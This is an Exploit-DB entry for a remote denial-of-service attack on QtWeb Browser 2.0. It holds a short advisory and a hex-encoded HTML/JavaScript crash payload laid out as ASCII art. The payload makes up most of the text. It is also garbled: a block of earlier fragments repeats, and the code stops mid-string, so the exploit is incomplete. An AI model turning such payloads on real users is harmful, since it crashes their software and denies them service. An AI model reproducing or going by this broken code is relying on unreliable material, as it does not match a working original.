Exploit-DB #32881
Description: QtWeb Browser 2.0 - '.HTML' File Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-04-01
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/34327/info

QtWeb browser is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

QtWeb 2.0 is vulnerable; other versions may also be affected.


                              $S="\x3C\x68\x74\x6D\x6C\x3E\x0D\x0A".
                         "\x3C\x74\x69\x74\x6C\x65\x3E\x51\x74\x57\x65\x62".
                 "\x20\x49\x6E\x74\x65\x72\x6E\x65\x74\x20\x42\x72\x6F\x77\x73\x65".
             "\x72\x20\x32".                                             "\x2E\x30\x20".
         "\x28\x62".                                                             "\x75\x69".
     "\x6C\x64".                                                                     "\x20\x30".
 "\x34\x33".                                                                             "\x29\x20".
 "\x52\x65".                                                                             "\x6D\x6F".
 "\x74\x65".                                                                             "\x20\x44".
 "\x65\x6E".                                                                             "\x69\x61".
 "\x6C\x20".                                                                             "\x6F\x66".
 "\x20\x53".                                                                             "\x65\x72".
 "\x76\x69".                                                                             "\x63\x65".
 "\x20\x45".                                                                             "\x78\x70".
 "\x6C\x6F".            "\x69\x74".                             "\x3C\x2F".              "\x54\x69".
 "\x74\x6C".        "\x65".     "\x3E".                     "\x0D".     "\x0A".          "\x3C\x68".
 "\x65\x61".    "\x64".             "\x3E".             "\x3C".             "\x62".      "\x6F\x64".
 "\x79\x3E".  "\x3C".                 "\x73".         "\x63".                 "\x72".    "\x69\x70".
 "\x74\x20".                                                                             "\x74\x79".
 "\x70\x65".                                                                             "\x3D\x22".
 "\x74\x65".                                                                             "\x78\x74".
 "\x2F\x6A".                                                                             "\x61\x76".
 "\x61\x73".                                                                             "\x63\x72".
 "\x69\x70".                                                                             "\x74\x22".
 "\x3E\x0D".                                                                             "\x0A\x61".
 "\x6C\x65".                                                                             "\x72\x74".
 "\x28\x22".                                                                             "\x51\x74".
 "\x57\x65".                                                                             "\x62\x20".
 "\x49\x6E".                                                                             "\x74\x65".
 "\x72\x6E".                                                                             "\x65\x74".
 "\x20\x42".                                                                             "\x72\x6F".
 "\x77\x73".                                                                             "\x65\x72".
 "\x20\x32".                                                                             "\x2E\x30".
 "\x20\x28".    "\x62".                                                         "\x75".  "\x69\x6C".
 "\x64\x20".     "\x30".                                                       "\x34".   "\x33\x29".
 "\x20\x52".      "\x65".                                                     "\x6D".    "\x6F\x74".
 "\x65\x20".        "\x44".                                                 "\x65".      "\x6E\x69".
 "\x61\x6C".         "\x20".                                               "\x6F".       "\x66\x20".
 "\x53\x65".            "\x72".                                         "\x76".          "\x69\x63".
 "\x65\x20".             "\x45".                                       "\x78".           "\x70\x6C".
 "\x6F\x69".               "\x74".                                   "\x5C".             "\x6E\x5C".
 "\x6E\x5C".                 "\x74".                               "\x5C".               "\x74\x5C".
 "\x74\x62".                    "\x79".                         "\x20".                  "\x4C\x69".
 "\x71\x75".                       "\x69".                   "\x64".                     "\x57\x6F".
 "\x72\x6D".                          "\x20".             "\x28".                        "\x63\x29".
 "\x20\x32".                             "\x30".       "\x30".                           "\x39\x22".
 "\x29\x3B".                                "\x0D\x0A\x66".                              "\x75\x6E".
 "\x63\x74".                                                                             "\x69\x6F".
 "\x6E\x20".                                                                             "\x64\x6F".
 "\x7A\x28".                                                                             "\x29\x20".
 "\x7B\x0D".                                                                             "\x0A\x74".
 "\x69\x74".                                                                             "\x6C\x65".

 "\x71\x75".                       "\x69".                   "\x64".                     "\x57\x6F".
 "\x72\x6D".                          "\x20".             "\x28".                        "\x63\x29".
 "\x20\x32".                             "\x30".       "\x30".                           "\x39\x22".
 "\x29\x3B".                                "\x0D\x0A\x66".                              "\x75\x6E".
 "\x63\x74".